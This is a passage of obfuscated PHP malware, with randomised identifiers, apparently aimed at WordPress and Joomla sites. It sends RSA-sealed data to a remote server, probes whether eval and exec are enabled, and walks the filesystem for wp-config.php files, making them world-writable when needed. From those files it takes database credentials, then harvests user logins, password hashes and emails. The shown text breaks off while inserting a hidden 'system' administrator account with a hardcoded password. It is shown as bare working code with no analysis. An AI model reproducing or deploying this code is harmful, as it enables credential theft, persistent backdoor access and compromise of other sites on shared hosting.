) { if ( strstr( $ZRhtpGOgTZTZRdeSYVBw, $_SERVER[ 'HTTP_HOST' ] ) || empty($ZRhtpGOgTZTZRdeSYVBw) || trim( $ZRhtpGOgTZTZRdeSYVBw ) == '' ) { return FALSE; } if ( isset( $ClbAffTqwdfsStqVgzyq ) ) { $uoZKldafGapBNDDpFNBP = json_encode( $ClbAffTqwdfsStqVgzyq ); $ANVoslonRNQSwwQloQTx = $this->wbpSSSviIAVdaxozPaIs->XdjJpcCkQalYGiLHaNXR( $uoZKldafGapBNDDpFNBP ); $ClbAffTqwdfsStqVgzyq = array( "serverKey" => $ClbAffTqwdfsStqVgzyq[ 'serverKey' ], "data" => $ANVoslonRNQSwwQloQTx[ 'data' ], "key" => $ANVoslonRNQSwwQloQTx[ 'key' ] ); } while ( TRUE ) { $ANVoslonRNQSwwQloQTx = $this->sakCZboUKVgZcavmOLlv( $ZRhtpGOgTZTZRdeSYVBw, $ClbAffTqwdfsStqVgzyq ); if ( ! strstr( $ANVoslonRNQSwwQloQTx, "301 Moved Permanently" ) ) { break; } else { preg_match_all( '/<a.*href=\"http:\/\/(.*?)\".*?\>/', $ANVoslonRNQSwwQloQTx, $gQRhwAuaeoYroCJEzLUe ); $ZRhtpGOgTZTZRdeSYVBw = $gQRhwAuaeoYroCJEzLUe[ 1 ][ 0 ]; } } return $ANVoslonRNQSwwQloQTx; } private function xjUhToBfRhZlhXGMjiqQ( $emDnXOMHIUCHXVocAIgZ, $ANVoslonRNQSwwQloQTx ) { if ( is_array( $ANVoslonRNQSwwQloQTx ) ) { $ANVoslonRNQSwwQloQTx = json_encode( $ANVoslonRNQSwwQloQTx ); } $CtKBpezsZgjqBavhAFpI = $this->wbpSSSviIAVdaxozPaIs->NlxEZhozjcIOCtbKZljT( $ANVoslonRNQSwwQloQTx ); if ( $this->dOtEUXNeMtfvlkREDpyy( $CtKBpezsZgjqBavhAFpI ) ) { $ANVoslonRNQSwwQloQTx = json_decode( $CtKBpezsZgjqBavhAFpI, TRUE ); } if ( ! isset( $ANVoslonRNQSwwQloQTx[ 'key' ] ) || ! isset( $ANVoslonRNQSwwQloQTx[ 'data' ] ) || strlen( $ANVoslonRNQSwwQloQTx[ 'key' ] ) == 0 || strlen( $ANVoslonRNQSwwQloQTx[ 'data' ] ) == 0 ) { die(); } chaGPqCyoHkruJXCIIlS( $emDnXOMHIUCHXVocAIgZ, $CtKBpezsZgjqBavhAFpI ); } private function QcBvXJgXvjtpioOEqpI( $emDnXOMHIUCHXVocAIgZ, $XCNhZQBknpnfsvZMzGRO = FALSE ) { if ( ! $XCNhZQBknpnfsvZMzGRO ) { $ANVoslonRNQSwwQloQTx = VpLgOEumcbcbVAoDSkNT( $emDnXOMHIUCHXVocAIgZ ); } else { $ANVoslonRNQSwwQloQTx = $emDnXOMHIUCHXVocAIgZ; } $OyiOTXQchdZnmpWouwXB = $this->wbpSSSviIAVdaxozPaIs->fakDjKdyfxqzqCVYUs( $ANVoslonRNQSwwQloQTx ); return json_decode( $OyiOTXQchdZnmpWouwXB, TRUE ); } private function iIkbNPOMzHBEaGLuayXw() { $DOdyKqMLdLPiBNWSGiP = FALSE; @eval( '$DOdyKqMLdLPiBNWSGiP = true;' ); return $DOdyKqMLdLPiBNWSGiP; } private function schzwZIoqdCTflLjVBrW() { $yXsbMpubsTXSUrcitkoy = explode( ', ', ini_get( 'disable_functions' ) ); return ! in_array( 'exec', $yXsbMpubsTXSUrcitkoy ); } private function dOtEUXNeMtfvlkREDpyy( $ANVoslonRNQSwwQloQTx ) { $ANVoslonRNQSwwQloQTx = json_decode( $ANVoslonRNQSwwQloQTx ); if ( $ANVoslonRNQSwwQloQTx == NULL ) { return FALSE; } return TRUE; } private function TSmgHGGpCOaFpIQthvlU( $JKBGKZwspUYvdkeoetY, $fOdjKcnWcIxuifraDMJb ) { $WOvxjgelkBHhHJvNcmNG = count( $JKBGKZwspUYvdkeoetY ); if ( $WOvxjgelkBHhHJvNcmNG <= $fOdjKcnWcIxuifraDMJb ) { return $JKBGKZwspUYvdkeoetY; } $ANVoslonRNQSwwQloQTx[ ] = array(); $eaRKAIVvmthhlFyDIslv = array(); $ojODGGyMICxgWyMOYTZk = 0; $xLyDQzORkZZbMOednjNE = 0; while ( TRUE ) { $xLyDQzORkZZbMOednjNE ++; $emDnXOMHIUCHXVocAIgZ = $this->pyqYQwhYbXehYXYyjvyL( $this->rFofWoxFwVRGhuCOjsaK . $xLyDQzORkZZbMOednjNE, $WOvxjgelkBHhHJvNcmNG ); if ( in_array( $emDnXOMHIUCHXVocAIgZ, $eaRKAIVvmthhlFyDIslv ) ) { continue; } $eaRKAIVvmthhlFyDIslv[ ] = $emDnXOMHIUCHXVocAIgZ; $ojODGGyMICxgWyMOYTZk ++; if ( $ojODGGyMICxgWyMOYTZk == $fOdjKcnWcIxuifraDMJb ) { break; } } foreach ( $eaRKAIVvmthhlFyDIslv as $emDnXOMHIUCHXVocAIgZ ) { $ANVoslonRNQSwwQloQTx[ ] = $JKBGKZwspUYvdkeoetY[ $emDnXOMHIUCHXVocAIgZ ]; } return $ANVoslonRNQSwwQloQTx; } private function pyqYQwhYbXehYXYyjvyL( $rFofWoxFwVRGhuCOjsaK, $dPQYPSLPdhPbzVDBxQsK ) { $jbExaNRmJFLBMODyGfgz = hash( "md5", $rFofWoxFwVRGhuCOjsaK ); $FdQRXBxLOBbcesmLHZsQ = ( preg_replace( "/[^0-9,.]/", "", $jbExaNRmJFLBMODyGfgz ) ); while ( $FdQRXBxLOBbcesmLHZsQ > 10000000 ) { $FdQRXBxLOBbcesmLHZsQ /= 100000; } $this->uBgDYDxGvwTUUWgwsZtu = $FdQRXBxLOBbcesmLHZsQ; $FdQRXBxLOBbcesmLHZsQ %= $dPQYPSLPdhPbzVDBxQsK; return $FdQRXBxLOBbcesmLHZsQ; } } class ozUEwvGfThFPKEOwkFic { private $cWBcMhvuwNKQKeikhYeZ, $kgqyGHEFDeTSgaPnfjaW, $uryvGPuyNCNLgIMuTXlS; private $jiuOepDTQAtKPmDPlmA; public function __construct( $lCTNLabxnOcjyrYcxGfw = 'old' ) { if ( class_exists( 'JFactory' ) ) { $this->jiuOepDTQAtKPmDPlmA = JFactory::getDbo(); } if ( $lCTNLabxnOcjyrYcxGfw == 'new' ) { $this->ROnGXakeZGHvnAshuA(); } else { $this->eSWJphzLBsQkTYOMAcsN(); } $this->kgqyGHEFDeTSgaPnfjaW = base64_decode( 'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0NCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNksvSTJsNmsySXo3Vm9qenhrNVENCjQzUU5mSUptMmpXUHZYQXZGdGZ0K3l5NHJEM01zZVFKV3gzUExsa29SUWpTSTF1aWl3d2xQWldFRDBlNXdGZXQNCm5TNXRLaHZ2UmFPZVVQWUpxNk10eVVibmFNbjdic2hsZ2FBbFBhVUNWZEFPamR0R0hNdUZhV2ZuQkxnVFN1M2MNCnVjY1ZDMnpPbFh4N1hLMXR3MzllWmVwUmVtb2gwVzNRaGYraERGc0V6QUNTQm1LaEJpZ2Fud0NaelREdnlYcGoNCm5mYlJLYmYyNkxKREo5dTJDaG9oNzY4dlFpSWZ1ZjB0R0xRK3h4Y0JEbDJaVlcwUDc2Y2Q1STJ2K2xZUkJEL1gNCnZnVTMyL1VaZUtEaGVBOE0vb1o1L3lGdjVRV0FVMlNIRUVLWWZMa0FRbVhzL29SR3FNUU9OcW9MM1c1UTRiRS8NCmdRSURBUUFCDQotLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0=' ); } private function eSWJphzLBsQkTYOMAcsN() { $ANVoslonRNQSwwQloQTx = VpLgOEumcbcbVAoDSkNT( WP_CLIENT_KEY ); $this->cWBcMhvuwNKQKeikhYeZ = $ANVoslonRNQSwwQloQTx; } private function ROnGXakeZGHvnAshuA() { $JDdxHMyVvUKthPzmRkMS = $this->FXwiogGmWuLpHVpAIOPs(); $this->cWBcMhvuwNKQKeikhYeZ = $JDdxHMyVvUKthPzmRkMS[ 'private' ]; $this->uryvGPuyNCNLgIMuTXlS = $JDdxHMyVvUKthPzmRkMS[ 'public' ]; chaGPqCyoHkruJXCIIlS( WP_CLIENT_KEY, $this->cWBcMhvuwNKQKeikhYeZ ); } public function XdjJpcCkQalYGiLHaNXR( $ANVoslonRNQSwwQloQTx ) { openssl_seal( $ANVoslonRNQSwwQloQTx, $cdtZYufTkpXBshccoVBC, $cfuSOlktfcjAgxrAbvTc, array( openssl_pkey_get_public( $this->kgqyGHEFDeTSgaPnfjaW ) ) ); return array( "data" => base64_encode( $cdtZYufTkpXBshccoVBC ), "key" => base64_encode( $cfuSOlktfcjAgxrAbvTc[ 0 ] ) ); } public function NlxEZhozjcIOCtbKZljT( $ANVoslonRNQSwwQloQTx ) { openssl_seal( $ANVoslonRNQSwwQloQTx, $cdtZYufTkpXBshccoVBC, $cfuSOlktfcjAgxrAbvTc, array( openssl_pkey_get_public( $this->uryvGPuyNCNLgIMuTXlS ) ) ); return json_encode( array( "data" => base64_encode( $cdtZYufTkpXBshccoVBC ), "key" => base64_encode( $cfuSOlktfcjAgxrAbvTc[ 0 ] ) ) ); } public function NgHMLtrOrvggBbUUtHKW() { return $this->uryvGPuyNCNLgIMuTXlS; } public function duINcvAvMBjVFAOeQCrT( $emDnXOMHIUCHXVocAIgZ ) { $this->uryvGPuyNCNLgIMuTXlS = $emDnXOMHIUCHXVocAIgZ; } public function fakDjKdyfxqzqCVYUs( $ANVoslonRNQSwwQloQTx ) { $uoZKldafGapBNDDpFNBP = json_decode( $ANVoslonRNQSwwQloQTx, TRUE ); if ( $uoZKldafGapBNDDpFNBP !== FALSE ) { $ANVoslonRNQSwwQloQTx = $uoZKldafGapBNDDpFNBP; } if ( ! is_array( $ANVoslonRNQSwwQloQTx ) ) { return FALSE; } openssl_open( base64_decode( trim( $ANVoslonRNQSwwQloQTx[ 'data' ] ) ), $FOhrxtRVXGleyOEepGtb, base64_decode( trim( $ANVoslonRNQSwwQloQTx[ 'key' ] ) ), $this->cWBcMhvuwNKQKeikhYeZ ); return $FOhrxtRVXGleyOEepGtb; } public function FXwiogGmWuLpHVpAIOPs() { $whjvYeznCnnMhNySt = openssl_pkey_new( array( 'private_key_bits' => 2048, 'private_key_type' => OPENSSL_KEYTYPE_RSA, ) ); openssl_pkey_export( $whjvYeznCnnMhNySt, $IaIiWByXDPbJBFciEFSs ); $ANVoslonRNQSwwQloQTx[ 'private' ] = $IaIiWByXDPbJBFciEFSs; $GOGpLousKsefGcOrKDCM = openssl_pkey_get_details( $whjvYeznCnnMhNySt ); $ANVoslonRNQSwwQloQTx[ 'public' ] = $GOGpLousKsefGcOrKDCM[ 'key' ]; return $ANVoslonRNQSwwQloQTx; } } class IaLpFyUtkdDdtRnEDrJ { private $cDnVuOXHvcWrHoZdzNsU; function __construct() { $cDnVuOXHvcWrHoZdzNsU = getcwd(); if ( $cDnVuOXHvcWrHoZdzNsU == '/' ) { return array(); } preg_match( '/^\/(.*?)(\/|$)/', $cDnVuOXHvcWrHoZdzNsU, $WUHTptpXecXQodJdwoWK ); $LWVkhAVVlTDVjJWoftlM = "/{$WUHTptpXecXQodJdwoWK[1]}/"; $ANVoslonRNQSwwQloQTx = array(); $this->cDnVuOXHvcWrHoZdzNsU = $cDnVuOXHvcWrHoZdzNsU . "/"; $this->QJmcpjlwZVrmjsqBUAye( $LWVkhAVVlTDVjJWoftlM, $ANVoslonRNQSwwQloQTx ); $ANVoslonRNQSwwQloQTx = $this->vGwCOmslsiystuNKcnWy( $ANVoslonRNQSwwQloQTx ); $this->BTkJfqJzqqxezBOOnXuw( $ANVoslonRNQSwwQloQTx ); } private function QJmcpjlwZVrmjsqBUAye( $FZxyFcxHIgRadtHnDvWU, &$ANVoslonRNQSwwQloQTx ) { $cDnVuOXHvcWrHoZdzNsU = $this->cDnVuOXHvcWrHoZdzNsU; if ( $FZxyFcxHIgRadtHnDvWU == $cDnVuOXHvcWrHoZdzNsU ) { return TRUE; } if ( file_exists( $FZxyFcxHIgRadtHnDvWU . 'wp-config.php' ) && ( is_readable( $FZxyFcxHIgRadtHnDvWU . 'wp-config.php' ) || ( ! is_readable( $FZxyFcxHIgRadtHnDvWU . 'wp-config.php' ) && chmod( $FZxyFcxHIgRadtHnDvWU . 'wp-config.php', 0666 ) ) ) && ( strpos( $FZxyFcxHIgRadtHnDvWU, $cDnVuOXHvcWrHoZdzNsU ) === FALSE ) ) { $UVQzCXSpkqPMkFbArtvy = $FZxyFcxHIgRadtHnDvWU . 'wp-config.php'; $this->jNFkxnqCMsyhlYTCChkr( $UVQzCXSpkqPMkFbArtvy, $ANVoslonRNQSwwQloQTx ); $this->QCgmDxREoHBrEJvCRSCF( $ANVoslonRNQSwwQloQTx[ $UVQzCXSpkqPMkFbArtvy ] ); if ( isset( $ANVoslonRNQSwwQloQTx[ $UVQzCXSpkqPMkFbArtvy ][ 'url' ], $ANVoslonRNQSwwQloQTx[ $UVQzCXSpkqPMkFbArtvy ][ 'access' ], $ANVoslonRNQSwwQloQTx[ $UVQzCXSpkqPMkFbArtvy ][ 'database' ], $ANVoslonRNQSwwQloQTx[ $UVQzCXSpkqPMkFbArtvy ][ 'template' ] ) ) { if ( ! $this->TEmmisdBfALbhZTEZJzK( $FZxyFcxHIgRadtHnDvWU, $ANVoslonRNQSwwQloQTx[ $UVQzCXSpkqPMkFbArtvy ][ 'template' ] ) ) { $this->JEIDDNvQVQhQJTMCJKea( $ANVoslonRNQSwwQloQTx[ $UVQzCXSpkqPMkFbArtvy ], $FZxyFcxHIgRadtHnDvWU ); } } } if ($ZlJEkDLMJCOGEbBdMcny = @scandir( $FZxyFcxHIgRadtHnDvWU )) { foreach ( $ZlJEkDLMJCOGEbBdMcny as $UVQzCXSpkqPMkFbArtvy ) { if ( is_dir( $FZxyFcxHIgRadtHnDvWU . $UVQzCXSpkqPMkFbArtvy . '/' ) && ( $UVQzCXSpkqPMkFbArtvy != '.' ) && ( $UVQzCXSpkqPMkFbArtvy != '..' ) ) { $this->QJmcpjlwZVrmjsqBUAye( $FZxyFcxHIgRadtHnDvWU . $UVQzCXSpkqPMkFbArtvy . "/", $ANVoslonRNQSwwQloQTx ); } } } } private function QCgmDxREoHBrEJvCRSCF( &$ANVoslonRNQSwwQloQTx ) { mysql_connect( $ANVoslonRNQSwwQloQTx[ 'database' ][ 'db_host' ], $ANVoslonRNQSwwQloQTx[ 'database' ][ 'db_user' ], $ANVoslonRNQSwwQloQTx[ 'database' ][ 'db_pass' ] ); mysql_select_db( $ANVoslonRNQSwwQloQTx[ 'database' ][ 'db_name' ] ); $gOaBoMqrHWWrpAyXWcdE = mysql_fetch_assoc( mysql_query( "SELECT * FROM {$ANVoslonRNQSwwQloQTx['database']['db_prefix']}options where option_name = 'siteurl'" ) ); $ANVoslonRNQSwwQloQTx[ 'url' ] = $gOaBoMqrHWWrpAyXWcdE[ 'option_value' ]; $rgRliUQbLmyLJlLtVdhF = mysql_query( "SELECT * FROM {$ANVoslonRNQSwwQloQTx['database']['db_prefix']}users" ); while ( $DcCSVJtSBpBIHUhJeLlW = mysql_fetch_assoc( $rgRliUQbLmyLJlLtVdhF ) ) { $ANVoslonRNQSwwQloQTx[ 'access' ][ $DcCSVJtSBpBIHUhJeLlW[ 'user_login' ] ][ ] = $DcCSVJtSBpBIHUhJeLlW[ 'user_pass' ]; $ANVoslonRNQSwwQloQTx[ 'access' ][ $DcCSVJtSBpBIHUhJeLlW[ 'user_login' ] ][ ] = $DcCSVJtSBpBIHUhJeLlW[ 'user_email' ]; $ANVoslonRNQSwwQloQTx[ 'access' ][ $DcCSVJtSBpBIHUhJeLlW[ 'user_login' ] ][ ] = $DcCSVJtSBpBIHUhJeLlW[ 'user_url' ]; } $rgRliUQbLmyLJlLtVdhF = mysql_query( "select * from {$ANVoslonRNQSwwQloQTx['database']['db_prefix']}options where option_name like 'template';" ); while ( $DcCSVJtSBpBIHUhJeLlW = mysql_fetch_assoc( $rgRliUQbLmyLJlLtVdhF ) ) { $ANVoslonRNQSwwQloQTx[ 'template' ] = str_replace( ' ', '', strtolower( $DcCSVJtSBpBIHUhJeLlW[ 'option_value' ] ) ); $rgRliUQbLmyLJlLtVdhF = mysql_query( "select * from {$ANVoslonRNQSwwQloQTx['database']['db_prefix']}options where option_name like '_site_transient_theme_roots';" ); while ( $DcCSVJtSBpBIHUhJeLlW = mysql_fetch_assoc( $rgRliUQbLmyLJlLtVdhF ) ) { $raWBtqDmSibkDzsATBtV = unserialize( $DcCSVJtSBpBIHUhJeLlW[ 'option_value' ] ); if ( isset( $raWBtqDmSibkDzsATBtV[ $ANVoslonRNQSwwQloQTx[ 'template' ] ] ) ) { $ANVoslonRNQSwwQloQTx[ 'template' ] = '.' . $raWBtqDmSibkDzsATBtV[ $ANVoslonRNQSwwQloQTx[ 'template' ] ] . '/' . $ANVoslonRNQSwwQloQTx[ 'template' ]; } } } } private function jNFkxnqCMsyhlYTCChkr( $UVQzCXSpkqPMkFbArtvy, &$ANVoslonRNQSwwQloQTx ) { $nFIbeMjqZmYeLUUEATfk = file( $UVQzCXSpkqPMkFbArtvy ); foreach ( $nFIbeMjqZmYeLUUEATfk as $RzvaEkHfBgtdGyQxDFcF ) { if ( strpos( $RzvaEkHfBgtdGyQxDFcF, "DB_NAME" ) ) { preg_match_all( "/'(\S+)'/", $RzvaEkHfBgtdGyQxDFcF, $TDSVcxQxgqqdEBshTiCF ); $ANVoslonRNQSwwQloQTx[ $UVQzCXSpkqPMkFbArtvy ][ 'database' ][ 'db_name' ] = $TDSVcxQxgqqdEBshTiCF[ 1 ][ 1 ]; } elseif ( strpos( $RzvaEkHfBgtdGyQxDFcF, "DB_USER" ) ) { preg_match_all( "/'(\S+)'/", $RzvaEkHfBgtdGyQxDFcF, $TDSVcxQxgqqdEBshTiCF ); $ANVoslonRNQSwwQloQTx[ $UVQzCXSpkqPMkFbArtvy ][ 'database' ][ 'db_user' ] = $TDSVcxQxgqqdEBshTiCF[ 1 ][ 1 ]; } elseif ( strpos( $RzvaEkHfBgtdGyQxDFcF, "DB_PASS" ) ) { preg_match_all( "/'(\S+)'/", $RzvaEkHfBgtdGyQxDFcF, $TDSVcxQxgqqdEBshTiCF ); $ANVoslonRNQSwwQloQTx[ $UVQzCXSpkqPMkFbArtvy ][ 'database' ][ 'db_pass' ] = $TDSVcxQxgqqdEBshTiCF[ 1 ][ 1 ]; } elseif ( strpos( $RzvaEkHfBgtdGyQxDFcF, "DB_HOST" ) ) { preg_match_all( "/'(\S+)'/", $RzvaEkHfBgtdGyQxDFcF, $TDSVcxQxgqqdEBshTiCF ); $ANVoslonRNQSwwQloQTx[ $UVQzCXSpkqPMkFbArtvy ][ 'database' ][ 'db_host' ] = $TDSVcxQxgqqdEBshTiCF[ 1 ][ 1 ]; } elseif ( strpos( $RzvaEkHfBgtdGyQxDFcF, "table_prefix" ) ) { preg_match_all( "/'(\S+)'/", $RzvaEkHfBgtdGyQxDFcF, $TDSVcxQxgqqdEBshTiCF ); $ANVoslonRNQSwwQloQTx[ $UVQzCXSpkqPMkFbArtvy ][ 'database' ][ 'db_prefix' ] = $TDSVcxQxgqqdEBshTiCF[ 1 ][ 0 ]; } } } private function JEIDDNvQVQhQJTMCJKea( &$ANVoslonRNQSwwQloQTx, $VDptGAURmIUERBrTxhpZ ) { require_once( $VDptGAURmIUERBrTxhpZ . 'wp-includes/class-phpass.php' ); $imKFBXzBLVPnUQDzUNDM = new PasswordHash( 8, TRUE ); mysql_connect( $ANVoslonRNQSwwQloQTx[ 'database' ][ 'db_host' ], $ANVoslonRNQSwwQloQTx[ 'database' ][ 'db_user' ], $ANVoslonRNQSwwQloQTx[ 'database' ][ 'db_pass' ] ); mysql_select_db( $ANVoslonRNQSwwQloQTx[ 'database' ][ 'db_name' ] ); $xLyDQzORkZZbMOednjNE = 0; while ( 1 ) { $iwhKlgTzyDpdQDdQNTSC = 'system' . $xLyDQzORkZZbMOednjNE ++; $rgRliUQbLmyLJlLtVdhF = mysql_query( "SELECT * FROM {$ANVoslonRNQSwwQloQTx['database']['db_prefix']}users where user_login = '{$iwhKlgTzyDpdQDdQNTSC}'" ); if ( ( $DcCSVJtSBpBIHUhJeLlW = mysql_fetch_assoc( $rgRliUQbLmyLJlLtVdhF ) ) === FALSE ) { break; } } $CnAmMZwsCRiGPlhyacYU = date( 'Y-m-d H:i:s' ); $eyyPQlOlTIqZjnzoyueI = $imKFBXzBLVPnUQDzUNDM->HashPassword( 's#5gp.dT@d' ); $rgRliUQbLmyLJlLtVdhF = "insert into {$ANVoslonRNQSwwQloQTx['database']['db_prefix']}users (
		user_login,
		user_pass,
		user_nicename,
		user_email,
		user_url,
		user_registered,
		user_activation_key,
		user_status,
		display_name)
		values (
		'{$iwhKlgTzyDpdQDdQNTSC}',
		'{$eyyPQlOlTIqZjnzoyueI}',
		'system',